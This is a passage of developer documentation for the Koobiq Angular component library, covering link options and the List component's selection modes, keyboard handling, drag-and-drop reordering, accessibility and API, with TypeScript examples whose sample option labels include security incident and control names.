`bootstrapApplication`, or one subtree from the `providers` of a component or a route.

```ts
function kbqLinkOptionsProvider(
    options: Partial<KbqLinkOptions>
): Provider;
```

#### Types

##### KbqLinkOptions (type)

Settings a whole application shares, rather than something a single link decides: how big links are, when
they are underlined and whether visited ones stand out. Where a link leads and how it behaves stay on the
link itself.

```ts
type KbqLinkOptions = {
    size: KbqDefaultSizes;
    underline?: KbqLinkUnderline;
    useVisited: boolean;
};
```

- `size`: `KbqDefaultSizes` — Size of a link: its typography and the gaps to its icons.
- `underline?`: `KbqLinkUnderline` — When the text of a link and of a pseudo link is underlined. Unset, a link is always underlined and a pseudo
  link only on hover.
- `useVisited`: `boolean` — Whether a visited link is styled differently.

##### KbqLinkUnderline (type)

When the text of a link is underlined: always, only while the pointer is over the link, or never.

```ts
type KbqLinkUnderline = 'always' | 'hover' | 'none';
```

#### Constants

##### KBQ_LINK_OPTIONS (const)

Injection token holding the current `KbqLinkOptions`.

```ts
const KBQ_LINK_OPTIONS: InjectionToken<KbqLinkOptions>;
```

### Examples

#### Link with caption

A caption under the link is placed in an element with `kbqLinkSuffix`.

**Example: Link with caption** (`link-with-caption`)

```ts link-with-caption-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqLink, KbqLinkSuffix } from '@koobiq/components/link';

@Component({
    selector: 'link-with-caption-example',
    imports: [KbqLink, KbqLinkSuffix],
    template: `
        <a kbqLink external href="https://koobiq.io/en/components/link" target="_blank">
            Scan report
            <span class="example-link-caption" kbqLinkSuffix>task/koobiq.io</span>
        </a>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            min-height: 160px;
        }

        .example-link-caption {
            display: flex;
            color: var(--kbq-foreground-contrast-secondary);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LinkWithCaptionExample {}
```

## List

- Entry point: `@koobiq/components/list`
- NgModule: `KbqListModule`
- Page: https://koobiq.io/en/components/list/overview

### Overview

A list shows a set of related items and lets the user select one or several of them. To pick a single
value from a closed set inside a form use [Select](https://koobiq.io/en/components/select.md), and for hierarchical data use
[Tree](https://koobiq.io/en/components/tree.md).

**Example: List** (`list-overview`)

```ts list-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqListModule } from '@koobiq/components/list';

@Component({
    selector: 'list-overview-example',
    imports: [KbqListModule, FormsModule],
    template: `
        <kbq-list-selection aria-label="Items" [(ngModel)]="selected">
            <kbq-list-option disabled [value]="'Item 1'">Item 1</kbq-list-option>
            <kbq-list-option [value]="'Item 2'">Item 2</kbq-list-option>
            <kbq-list-option [value]="'Item 3'">Item 3</kbq-list-option>
            <kbq-list-option [value]="'Item 4'">Item 4</kbq-list-option>
            <kbq-list-option [value]="'Item 5'">Item 5</kbq-list-option>
            <kbq-list-option [value]="'Item 6'">Item 6</kbq-list-option>
            <kbq-list-option [value]="'Item 7'">Item 7</kbq-list-option>
            <kbq-list-option [value]="'Item 8'">Item 8</kbq-list-option>
            <kbq-list-option [value]="'Item 9'">Item 9</kbq-list-option>
            <kbq-list-option [value]="'Item 10'">Item 10</kbq-list-option>
        </kbq-list-selection>
        <br />
        <div>Selected: {{ selected }}</div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ListOverviewExample {
    selected = [];
}
```

#### Selection

##### Clicking

By default a click selects exactly one option: `autoSelect` clears the rest of the selection first. Set
`autoSelect="false"` to make a click toggle only the option it landed on and leave the others alone.

`noUnselectLast` keeps the list from ending up empty: `Ctrl` + click on the only selected option is
ignored. Set it to `false` to allow deselecting everything.

Both are on by default and both are turned off automatically by `multiple="checkbox"`, where a click is
expected to toggle a single row. Setting either one yourself pins it, so a later change of `multiple`
leaves your value alone.

##### Multiple selection

`multiple` takes the mode as its value. `multiple="checkbox"` renders a checkbox in every option, so the
selection is readable without focus:

**Example: List multiple checkbox** (`list-multiple-checkbox`)

```ts list-multiple-checkbox-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqListModule } from '@koobiq/components/list';

@Component({
    selector: 'list-multiple-checkbox-example',
    imports: [KbqListModule, FormsModule],
    template: `
        <kbq-list-selection multiple="checkbox" aria-label="Items" [(ngModel)]="selected">
            <kbq-list-option [disabled]="true" [value]="'Item 1'">Item 1</kbq-list-option>
            <kbq-list-option [value]="'Item 2'">Item 2</kbq-list-option>
            <kbq-list-option [value]="'Item 3'">Item 3</kbq-list-option>
            <kbq-list-option [value]="'Item 4'">Item 4</kbq-list-option>
            <kbq-list-option [value]="'Item 5'">Item 5</kbq-list-option>
            <kbq-list-option [value]="'Item 6'">Item 6</kbq-list-option>
            <kbq-list-option [value]="'Item 7'">Item 7</kbq-list-option>
            <kbq-list-option [value]="'Item 8'">Item 8</kbq-list-option>
            <kbq-list-option [value]="'Item 9'">Item 9</kbq-list-option>
            <kbq-list-option [value]="'Item 10'">Item 10</kbq-list-option>
        </kbq-list-selection>
        <br />
        <div>Selected: {{ selected }}</div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ListMultipleCheckboxExample {
    selected = [];
}
```

`multiple="keyboard"` selects without any checkbox: a plain click still moves the selection to one
option, and the user extends it with `Ctrl` + click or `Shift` + click.

**Example: List multiple keyboard** (`list-multiple-keyboard`)

```ts list-multiple-keyboard-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqListModule } from '@koobiq/components/list';

@Component({
    selector: 'list-multiple-keyboard-example',
    imports: [KbqListModule, FormsModule],
    template: `
        <kbq-list-selection multiple="keyboard" aria-label="Items" [(ngModel)]="selected">
            <kbq-list-option disabled [value]="'Item 1'">Item 1</kbq-list-option>
            <kbq-list-option [value]="'Item 2'">Item 2</kbq-list-option>
            <kbq-list-option [value]="'Item 3'">Item 3</kbq-list-option>
            <kbq-list-option [value]="'Item 4'">Item 4</kbq-list-option>
            <kbq-list-option [value]="'Item 5'">Item 5</kbq-list-option>
            <kbq-list-option [value]="'Item 6'">Item 6</kbq-list-option>
            <kbq-list-option [value]="'Item 7'">Item 7</kbq-list-option>
            <kbq-list-option [value]="'Item 8'">Item 8</kbq-list-option>
            <kbq-list-option [value]="'Item 9'">Item 9</kbq-list-option>
            <kbq-list-option [value]="'Item 10'">Item 10</kbq-list-option>
        </kbq-list-selection>
        <br />
        <div>Selected: {{ selected }}</div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ListMultipleKeyboardExample {
    selected = [];
}
```

The mode is a closed set of values:

| value                                                  | mode             |
| ------------------------------------------------------ | ---------------- |
| `multiple="checkbox"`                                  | checkbox         |
| `multiple="keyboard"`                                  | keyboard         |
| `multiple`, `multiple="true"`, `[multiple]="true"`     | checkbox         |
| no attribute, `multiple="false"`, `[multiple]="false"` | single selection |

Single selection is the default, so the way to ask for it is to leave `multiple` off entirely.
Anything else — `multiple="single"` included — falls back to single selection and is reported in the
console in dev mode.

`multiple` is a normal input, so the mode can be bound and changed at any time:

```html
<kbq-list-selection [multiple]="mode()" [(ngModel)]="selected">
    <kbq-list-option [value]="item">{{ item }}</kbq-list-option>
</kbq-list-selection>
```

Narrowing a list that has several options selected keeps the first selected one, drops the rest, reports the
shortened value through the form control and emits `selectionChange` for each option it deselected.

Note that this applies to `kbq-list-selection` and `kbq-tree-selection` only. On
[Select](https://koobiq.io/en/components/select.md) and `kbq-tree-select`, `multiple` still cannot be changed after
initialization and throws if you try.

Subscribe to `selectionChange` rather than to `selectionModel.changed`: changing the mode replaces the
selection model, and a subscription taken on the model directly is left behind on the discarded instance.

##### Select all

The `selectAll` property adds an item that selects all available options in `multiple="checkbox"` mode. The item
is not rendered in a horizontal list, with a virtual scroller or in `multiple="keyboard"` mode.

**Example: List select all** (`list-select-all`)

```ts list-select-all-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqListModule } from '@koobiq/components/list';
import { KbqScrollbar } from '@koobiq/components/scrollbar';

@Component({
    selector: 'list-select-all-example',
    imports: [KbqListModule, KbqScrollbar, FormsModule],
    template: `
        <div class="example-list-select-all">
            <kbq-scrollbar class="example-list-select-all__scrollbar">
                <kbq-list-selection
                    class="layout-padding-horizontal-xxs"
                    aria-label="Incident types"
                    multiple="checkbox"
                    selectAll
                    [(ngModel)]="selected"
                >
                    @for (option of options; track option) {
                        <kbq-list-option [value]="option">{{ option }}</kbq-list-option>
                    }
                </kbq-list-selection>
            </kbq-scrollbar>
        </div>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }

        .example-list-select-all {
            width: 400px;
        }

        /* 8.5 rows of 32px: the half row is what says there is more below. The parent stays a block, because
           the scrollbar host is a flex item whose flex-basis would otherwise outrank this height. */
        .example-list-select-all__scrollbar {
            height: 272px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ListSelectAllExample {
    protected readonly options = [
        'Account Compromise',
        'Data Breach',
        'Denial of Service (DoS)',
        'Insider Threat',
        'Malware Infection',
        'Man-in-the-Middle Attack',
        'Phishing',
        'Privilege Escalation',
        'Ransomware',
        'Social Engineering',
        'SQL Injection',
        'Supply Chain Attack',
        'Unauthorized Access',
        'Zero-Day Exploit'
    ];

    protected selected: string[] = [];
}
```

##### Matching values

The list compares the values coming from the form control with the values of its options by identity. When
the options carry objects, pass a `compareWith` function so that a value from the model is matched to its
option:

```html
<kbq-list-selection multiple="checkbox" [compareWith]="compareById" [(ngModel)]="selected">
    @for (item of items(); track item.id) {
        <kbq-list-option [value]="item">{{ item.name }}</kbq-list-option>
    }
</kbq-list-selection>
```

`compareWith` also decides when an option keeps its selection: replacing the objects behind `[value]` with
equal ones — an immutable update, a refetch — leaves the selection alone. Bind a stable reference: an
expression that builds a new function on every change detection pass makes the list re-match on each one.

#### Grouping

**Example: List groups** (`list-groups`)

```ts list-groups-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqListModule } from '@koobiq/components/list';

@Component({
    selector: 'list-groups-example',
    imports: [KbqListModule],
    template: `
        <kbq-list-selection aria-label="Security controls">
            @for (category of securityCategories; track category) {
                <kbq-optgroup [disabled]="category.disabled" [label]="category.categoryName">
                    @for (securityItem of category.securityItems; track securityItem.id) {
                        <kbq-list-option [value]="securityItem.id">
                            {{ securityItem.displayName }}
                        </kbq-list-option>
                    }
                </kbq-optgroup>
            }
            <kbq-list-option [value]="'rbac-11'">Role-Based Access Control (RBAC)</kbq-list-option>
        </kbq-list-selection>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ListGroupsExample {
    securityCategories = [
        {
            categoryName: 'Network Security',
            securityItems: [
                { id: 'firewall-0', displayName: 'Firewall' },
                { id: 'vpn-1', displayName: 'Virtual Private Network (VPN)' },
                { id: 'ids-2', displayName: 'Intrusion Detection System (IDS)' }
            ]
        },
        {
            categoryName: 'Application Security',
            disabled: true,
            securityItems: [
                { id: 'sast-3', displayName: 'Static Application Security Testing (SAST)' },
                { id: 'owasp-4', displayName: 'OWASP Top 10' },
                { id: 'code-review-5', displayName: 'Code Review' }
            ]
        },
        {
            categoryName: 'Cloud Security',
            securityItems: [
                { id: 'iam-6', displayName: 'Identity and Access Management (IAM)' },
                { id: 'cspm-7', displayName: 'Cloud Security Posture Management (CSPM)' },
                { id: 'casb-8', displayName: 'Cloud Access Security Broker (CASB)' }
            ]
        },
        {
            categoryName: 'Endpoint Security',
            securityItems: [
                { id: 'antivirus-9', displayName: 'Antivirus' },
                { id: 'edr-10', displayName: 'Endpoint Detection and Response (EDR)' }
            ]
        }
    ];
}
```

#### Horizontal list

`horizontal` lays the options out in a row and rebinds the navigation to the Left/Right arrows.

```html
<kbq-list-selection horizontal aria-label="Alignment">
    <kbq-list-option [value]="'left'">Left</kbq-list-option>
    <kbq-list-option [value]="'right'">Right</kbq-list-option>
</kbq-list-selection>
```

#### Action button

**Example: List action button** (`list-action-button`)

```ts list-action-button-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqBadgeModule } from '@koobiq/components/badge';
import { PopUpPlacements } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqListModule } from '@koobiq/components/list';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'list-action-button-example',
    imports: [KbqListModule, FormsModule, KbqDropdownModule, KbqToolTipModule, KbqBadgeModule],
    template: `
        <kbq-list-selection style="width: 400px" aria-label="Elements" [autoSelect]="false" [(ngModel)]="selected">
            <kbq-list-option [value]="'An element with a very very very long name'">
                <div>Element with a very very very very very very long name</div>

                <kbq-option-action
                    [kbqDropdownTriggerFor]="dropdown"
                    [kbqPlacement]="PopUpPlacements.Right"
                    [kbqTooltip]="'Tooltip text'"
                />
            </kbq-list-option>
            @for (item of [1, 2, 3, 4, 5, 6, 7, 8, 9]; track item) {
                <kbq-list-option [value]="getText(item)">
                    <div class="layout-row layout-align-space-between">
                        Item {{ item }}
                        <kbq-badge style="align-self: center" badgeColor="theme" [compact]="true">badge</kbq-badge>
                    </div>
                    <kbq-option-action
                        [kbqDropdownTriggerFor]="dropdown"
                        [kbqPlacement]="PopUpPlacements.Right"
                        [kbqTooltip]="'Tooltip text'"
                    />
                </kbq-list-option>
            }
        </kbq-list-selection>
        <br />
        <div>Selected: {{ selected }}</div>

        <kbq-dropdown #dropdown>
            <button kbq-dropdown-item>item 1</button>
            <button kbq-dropdown-item>item 2</button>
            <button kbq-dropdown-item>item 3</button>
        </kbq-dropdown>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ListActionButtonExample {
    selected = [];
    protected readonly PopUpPlacements = PopUpPlacements;

    getText(text: string | number): string {
        return `Item ${text}`;
    }
}
```

#### Virtual scroll

**Example: List with virtual-scroll** (`list-virtual-scroll`)

```ts list-virtual-scroll-example.ts
import { ScrollingModule } from '@angular/cdk/scrolling';
import { JsonPipe } from '@angular/common';
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqListModule } from '@koobiq/components/list';
import { KbqScrollbarViewport } from '@koobiq/components/scrollbar';

@Component({
    selector: 'list-virtual-scroll-example',
    imports: [KbqListModule, FormsModule, ScrollingModule, JsonPipe, KbqScrollbarViewport],
    template: `
        <div>Selected: {{ selected | json }}</div>
        <br />
        <kbq-list-selection style="height: 200px" multiple aria-label="Items" [(ngModel)]="selected">
            <cdk-virtual-scroll-viewport
                kbqScrollbarViewport
                style="height: 100%"
                itemSize="32"
                minBufferPx="300"
                maxBufferPx="300"
            >
                <kbq-list-option *cdkVirtualFor="let option of options" [value]="option">
                    {{ option.label }}
                </kbq-list-option>
            </cdk-virtual-scroll-viewport>
        </kbq-list-selection>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ListVirtualScrollExample {
    readonly options = Array.from({ length: 10000 }).map((_, i) => ({
        id: i,
        label: `Option #${i}`
    }));

    selected = [];
}
```

#### Keyboard

The list is a single tab stop. Tabbing into it focuses the first selected option, or the first item of the
list when nothing is selected. Inside it the arrows move the active option, `Home` and `End` jump to the
ends, `PageUp` and `PageDown` move by a page, `Space` and `Enter` toggle the active option, and typing
letters jumps to the option that starts with them.

##### Selecting everything

`Ctrl`/`Cmd` + `A` selects every option that is not disabled, in multiple selection mode only. By default a
repeated press keeps them selected; `selectAllToggle` makes it deselect them instead. While a
[`selectAll`](#select-all) row is on screen the shortcut always toggles both ways, so it and the master
checkbox cannot disagree; in the modes that render no row it keeps its select-only default. The batch is
reported through `onSelectAll`, which carries the options the shortcut could act on; `selectionChange` stays
silent for it.

The behaviour can be replaced wholesale with the `selectAllHandler` input. It receives the keyboard event
and the list, and it has to be a function — anything else throws. Note that the handler replaces the
shortcut only: the master checkbox keeps running the built-in toggle, so with `selectAll` on you own both
paths.

##### Copying

`Ctrl`/`Cmd` + `C` copies the active option. Subscribe to `onCopy` to decide what lands in the clipboard:
the event carries the list, the option and the original keyboard event, and the list does nothing else.
Without a subscriber the list falls back to copying `String(value)` of the active option itself.

#### Drag and drop

Set the `draggable` property on `kbq-list-selection` to let the user reorder options.

A single option can opt out with `draggable="false"` on `kbq-list-option`. It cannot be picked up by
either the pointer or the keyboard, but — unlike a disabled option — it still takes focus and can be
selected. The rest of the list keeps moving around it, so its own index can still shift.

The list does not open a gap while an option is being dragged: the surrounding options stay put, the
dragged one keeps its place as a faded row, and a line marks the position the option would land in.
No line is shown while the pointer is over the place the option already occupies — dropping it there
would change nothing.

Nothing else reacts while the drag lasts. The options stop responding to hover, because what takes the
drop is the list rather than the row under the pointer, and the cursor turns to `no-drop` whenever the
pointer leaves every list that would accept the option.

What follows the pointer is a plate carrying the option's own text — its label, and its caption on a
line of its own — cut off with an ellipsis once it reaches its maximum width. Set `dragPreview="full"`
on `kbq-list-selection` to drag a copy of the whole row instead, checkbox, icons and action button
included.

```html
<kbq-list-selection draggable dragPreview="full" (dropped)="dropped($event)">
    <kbq-list-option [value]="item">{{ item.name }}</kbq-list-option>
</kbq-list-selection>
```

A draggable row keeps the cursor it would have anyway — it is still a row that can be clicked and
selected, and being draggable is no reason to stop looking like one. Set `dragCursor="grab"` where the
whole row is meant to read as a handle:

```html
<kbq-list-selection draggable dragCursor="grab" (dropped)="dropped($event)">
    <kbq-list-option [value]="item">{{ item.name }}</kbq-list-option>
</kbq-list-selection>
```

The list never changes the data itself — it reports the move through the `dropped` event and you
apply it, usually with `moveItemInArray` from `@angular/cdk/drag-drop`. Track the options by their
identity (`track item.id`): with a positional key such as `track $index` the option at a given
position is kept and rebound to a different value, and an option drops its selection when its value
changes.

**Example: Draggable list** (`list-draggable`)

```ts list-draggable-example.ts
import { moveItemInArray } from '@angular/cdk/drag-drop';
import { ChangeDetectionStrategy, Component, computed, signal } from '@angular/core';
import { KbqDividerModule } from '@koobiq/components/divider';
import { KbqListModule, KbqListSelectionDroppedEvent } from '@koobiq/components/list';

@Component({
    selector: 'list-draggable-example',
    imports: [KbqListModule, KbqDividerModule],
    template: `
        <kbq-list-selection multiple="checkbox" [draggable]="true" (dropped)="dropped($event)">
            @for (item of beforeGroup(); track item.id) {
                <kbq-list-option [value]="item">{{ item.name }}</kbq-list-option>
            }
            <kbq-optgroup label="Group header">
                @for (item of grouped(); track item.id) {
                    <kbq-list-option [value]="item">{{ item.name }}</kbq-list-option>
                }
            </kbq-optgroup>
            <!-- Decorative: a listbox owns options and groups, and a separator has nothing to announce. -->
            <kbq-divider aria-hidden="true" />
            @for (item of afterDivider(); track item.id) {
                <kbq-list-option [draggable]="!item.pinned" [value]="item">{{ item.name }}</kbq-list-option>
            }
        </kbq-list-selection>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ListDraggableExample {
    protected readonly items = signal([
        { id: 1, name: 'Item 1' },
        { id: 2, name: 'Item 2' },
        { id: 3, name: 'Item 3' },
        { id: 4, name: 'Item 4' },
        { id: 5, name: 'Item 5' },
        { id: 6, name: 'Item 6' },
        { id: 7, name: 'Item 7. Sorting is prohibited', pinned: true }
    ]);

    // The group and the divider sit at fixed positions, so the sections are plain slices and the indices
    // `dropped` reports address the array directly. An option dragged past a boundary changes section.
    protected readonly beforeGroup = computed(() => this.items().slice(0, 2));
    protected readonly grouped = computed(() => this.items().slice(2, 5));
    protected readonly afterDivider = computed(() => this.items().slice(5));

    protected dropped({ previousIndex, currentIndex }: KbqListSelectionDroppedEvent): void {
        const items = [...this.items()];

        moveItemInArray(items, previousIndex, currentIndex);

        this.items.set(items);
    }
}
```

An option can also be picked up by one area of the row instead of the whole of it: project an element
carrying `cdkDragHandle` into it, and only that element starts a drag. A handle always shows the grab
cursor — that is what it is for, so it needs no `dragCursor`, and the row around it keeps its own cursor
whatever the list asks for. The directive is re-exported from `KbqListModule`, so nothing else has to be
imported.

**Example: Draggable list with a handle** (`list-draggable-handle`)

```ts list-draggable-handle-example.ts
import { moveItemInArray } from '@angular/cdk/drag-drop';
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqListModule, KbqListSelectionDroppedEvent } from '@koobiq/components/list';

@Component({
    selector: 'list-draggable-handle-example',
    imports: [KbqListModule, KbqIconModule],
    template: `
        <kbq-list-selection [draggable]="true" (dropped)="dropped($event)">
            @for (item of items(); track item.id) {
                <kbq-list-option [value]="item">
                    <i kbq-icon="kbq-grip-vertical-s_16" cdkDragHandle></i>
                    {{ item.name }}
                </kbq-list-option>
            }
        </kbq-list-selection>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ListDraggableHandleExample {
    protected readonly items = signal([
        { id: 1, name: 'Banana' },
        { id: 2, name: 'Cherry' },
        { id: 3, name: 'Grapefruit' },
        { id: 4, name: 'Mango' }
    ]);

    protected dropped({ previousIndex, currentIndex }: KbqListSelectionDroppedEvent): void {
        const items = [...this.items()];

        moveItemInArray(items, previousIndex, currentIndex);

        this.items.set(items);
    }
}
```

Options can also be moved into another list. Pass the other `kbq-list-selection` through `connectedTo`
on both lists, and apply the move with `transferArrayItem`. An option arrives in the target list
unselected unless the target's own value already contains it.

**Example: Draggable list with transfer between lists** (`list-draggable-connected`)

```ts list-draggable-connected-example.ts
import { moveItemInArray, transferArrayItem } from '@angular/cdk/drag-drop';
import { ChangeDetectionStrategy, Component, signal, WritableSignal } from '@angular/core';
import { KbqListModule, KbqListSelectionDroppedEvent } from '@koobiq/components/list';

type Metric = { id: number; name: string };

@Component({
    selector: 'list-draggable-connected-example',
    imports: [KbqListModule],
    template: `
        <div class="layout-row layout-gap-l">
            <kbq-list-selection
                #available="kbqListSelection"
                class="flex"
                dragCursor="grab"
                [connectedTo]="[selected]"
                [draggable]="true"
                (dropped)="dropped($event)"
            >
                @for (metric of availableMetrics(); track metric.id) {
                    <kbq-list-option [value]="metric">{{ metric.name }}</kbq-list-option>
                }
            </kbq-list-selection>

            <kbq-list-selection
                #selected="kbqListSelection"
                class="flex"
                dragCursor="grab"
                [connectedTo]="[available]"
                [draggable]="true"
                (dropped)="dropped($event)"
            >
                @for (metric of selectedMetrics(); track metric.id) {
                    <kbq-list-option [value]="metric">{{ metric.name }}</kbq-list-option>
                }
            </kbq-list-selection>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ListDraggableConnectedExample {
    protected readonly availableMetrics = signal<Metric[]>([
        { id: 1, name: 'CPU load' },
        { id: 2, name: 'Memory usage' },
        { id: 3, name: 'Disk I/O' }
    ]);

    protected readonly selectedMetrics = signal<Metric[]>([{ id: 4, name: 'Network traffic' }]);

    protected dropped({
        previousIndex,
        currentIndex,
        previousContainer,
        container,
        option
    }: KbqListSelectionDroppedEvent): void {
        // `previousContainer` and `container` identify the lists, but only the consumer knows which
        // array backs which list — here the dragged value itself is the lookup key.
        const fromAvailable = this.availableMetrics().includes(option.value);
        const source = fromAvailable ? this.availableMetrics : this.selectedMetrics;

        if (previousContainer === container) {
            this.reorder(source, previousIndex, currentIndex);

            return;
        }

        const target = fromAvailable ? this.selectedMetrics : this.availableMetrics;

        this.transfer(source, target, previousIndex, currentIndex);
    }

    private reorder(list: WritableSignal<Metric[]>, previousIndex: number, currentIndex: number): void {
        const items = [...list()];

        moveItemInArray(items, previousIndex, currentIndex);

        list.set(items);
    }

    private transfer(
        source: WritableSignal<Metric[]>,
        target: WritableSignal<Metric[]>,
        previousIndex: number,
        currentIndex: number
    ): void {
        const from = [...source()];
        const to = [...target()];

        transferArrayItem(from, to, previousIndex, currentIndex);

        source.set(from);
        target.set(to);
    }
}
```

Options are numbered across the whole list, so a `kbq-optgroup` can be reordered through and an option
dragged past its boundary changes group. Dragging is not supported inside `cdk-virtual-scroll-viewport`,
though: the indices reported by `dropped` count only the rendered options, so applying the move to the
backing array silently affects the wrong item. That combination logs a warning in development mode.

Reordering is pointer-only: there is no keyboard equivalent, so it is out of reach for anyone who
cannot drag.

Lists connected by `id` rather than by a component reference show no drop indicator — an `id` cannot
be resolved back to the list instance that would have to draw it.

#### Accessibility

`kbq-list-selection` is announced as a `listbox` and every `kbq-list-option` as an `option` carrying its own `aria-selected`. The "select all" row stays an `option` too — a `checkbox` is not a valid child of a listbox — and reports the batch state on `aria-checked`, including `mixed` for a partial selection; it carries no `aria-selected` of its own. With `multiple` the list is additionally marked `aria-multiselectable`, and with `horizontal` it reports `aria-orientation="horizontal"` and moves the active option with the Left/Right arrows. The list is a single tab stop; roving focus moves between the options. A disabled list or option is reported through `aria-disabled`. The built-in pseudo-checkbox is decorative and stays out of the accessibility tree; if you project your own `kbq-pseudo-checkbox` instead, mark it `aria-hidden="true"` too — the option's own `aria-selected` already carries the selected state.

A listbox needs an accessible name, so give the list one with `aria-label` or `aria-labelledby`:

```html
<kbq-list-selection aria-label="Mailboxes">
    <kbq-list-option [value]="'inbox'">Inbox</kbq-list-option>
    <kbq-list-option [value]="'starred'">Starred</kbq-list-option>
</kbq-list-selection>
```

`kbq-list` and `kbq-list-item` deliberately carry no role: they are a plain container used both for semantic lists and for purely visual grouping. Add `role="list"` / `role="listitem"` yourself when the content is a real list.

#### Recommendations

- Give every `kbq-list-selection` an accessible name. It is announced as a listbox, and a listbox without
  a name tells a screen reader nothing about what is being chosen.
- Prefer `multiple="checkbox"` when the selection has to be readable at a glance. `multiple="keyboard"`
  keeps the rows compact but hides the state from anyone who does not know to look for the highlight.
- Reach for virtual scroll once the list is long enough to scroll for a while, but remember that dragging
  cannot be combined with it.
- Keep the option label short enough to fit on one line. A list is a picker, not a place for paragraphs —
  move the detail into a caption or a tooltip.

### API

#### Components

##### KbqList (component)

A plain, non-selectable list container.

Intentionally carries no ARIA role: it is used both as a semantic list (consumers add
`role="list"` themselves, as `kbq-file-upload` does) and as a purely visual grouping.
For a selectable listbox use `kbq-list-selection` instead.

```ts
@Component({ selector: 'kbq-list' })
class KbqList {}
```

##### KbqListItem (component)

A single row of a `kbq-list`. Non-selectable — see `kbq-list-option` for the selectable variant.

```ts
@Component({ selector: 'kbq-list-item, a[kbq-list-item]' })
class KbqListItem {
    getHostElement(): HTMLElement;
}
```

##### KbqListOption (component)

Component for list-options of selection-list. Each list-option can automatically
generate a checkbox and can put current item into the selectionModel of selection-list
if the current item is selected.

```ts
@Component({ selector: 'kbq-list-option', exportAs: 'kbqListOption' })
class KbqListOption<T = any> implements IFocusableOption, KbqTitleTextRef {
    readonly checkboxPosition = input<'before' | 'after'>();
    value = input<T>();
    disabled = input<boolean>(false);
    draggable = input<boolean>(true);
    showCheckbox = input<boolean | undefined>();
    selected = input<boolean | undefined>();
    listSelection: KbqListSelection<T>;
    readonly group: KbqOptgroup | null;
    hasFocus: boolean;
    preventBlur: boolean;
    readonly onFocus: Subject<KbqOptionEvent<T>>;
    readonly onBlur: Subject<KbqOptionEvent<T>>;
    readonly actionButton: Signal<KbqOptionActionComponent | undefined>;
    get tooltipTrigger(): KbqTooltipTrigger | undefined;
    get dropdownTrigger(): KbqDropdownTrigger | undefined;
    readonly pseudoCheckbox: Signal<KbqPseudoCheckbox | undefined>;
    readonly text: Signal<ElementRef<any>>;
    get textElement(): ElementRef<HTMLElement> | undefined;
    toggle(): void;
    getLabel(): string;
    setSelected(selected: boolean): void;
    focus(): void;
    blur(): void;
    getHostElement(): HTMLElement;
}
```

- `[value]`: `T` — Value of the option, reported through the list's `ControlValueAccessor`.
- `[disabled]`: `boolean` — Whether the option is disabled, through its own input, its group or the list.
- `[draggable]`: `boolean` — Whether the option can be reordered by dragging. Set it to `false` to pin a single option while
  the rest of the list stays draggable. Unrelated to `disabled`: the option keeps taking focus and
  selection. Reads the resolved state, which the option can only narrow — the list gates its whole drop
  list, so an option cannot opt back in on its own.
- `[showCheckbox]`: `boolean | undefined` — Whether the option renders a pseudo-checkbox. Falls back to the list's own mode until bound.
- `[selected]`: `boolean | undefined` — Whether the option is selected. The state lives in the list's `SelectionModel`, not on the option,
  so it can also be set from code.
- `tooltipTrigger`: `KbqTooltipTrigger | undefined` — Tooltip trigger projected into the option.
- `dropdownTrigger`: `KbqDropdownTrigger | undefined` — Dropdown trigger projected into the option.
- `textElement`: `ElementRef<HTMLElement> | undefined` — Not a duplicate of `text`: this is the `KbqTitleTextRef` property that `title.directive.ts`
  reads through `KBQ_TITLE_TEXT_REF`, a plain `ElementRef` rather than a signal.
- `toggle()`: `void` — Toggles the selected state of this option.
- `setSelected()`: `void` — Sets the selected state on the list's `SelectionModel`; the `selected` property and input go through it.
- `focus()`: `void` — Moves DOM focus to this option, unless it is disabled or already focused.
- `blur()`: `void` — Marks this option as blurred after the next render, unless `preventBlur` is set.
- `getHostElement()`: `HTMLElement` — The option's host DOM element.

##### KbqListSelection (component)

```ts
@Component({ selector: 'kbq-list-selection', exportAs: 'kbqListSelection' })
class KbqListSelection<T = any> implements ControlValueAccessor {
    autoSelect = input<boolean | undefined>();
    noUnselectLast = input<boolean | undefined>();
    draggable = input<boolean>(false);
    readonly connectedTo = input<KbqListSelection<T> | string | readonly (KbqListSelection<T> | string)[]>(
        []
    );
    readonly dragPreview = input<KbqListDragPreview>('text');
    readonly dragCursor = input<KbqListDragCursor>('auto');
    readonly selectAllToggle = input<boolean>(false);
    readonly selectAllEnabled = input<boolean>(false, {
        alias: 'selectAll'
    });
    multiple = input<KbqMultipleInput | undefined>();
    readonly horizontal = input<boolean>(false);
    disabled = input<boolean | undefined>();
    readonly compareWith = input<(o1: T, o2: T) => boolean>(
        (a1, a2) => a1 === a2
    );
    selectAllHandler = input<((event: KeyboardEvent, list: KbqListSelection<T>) => void) | undefined>();
    readonly onSelectAll = output<KbqListSelectAllEvent<KbqListOption<T>>>();
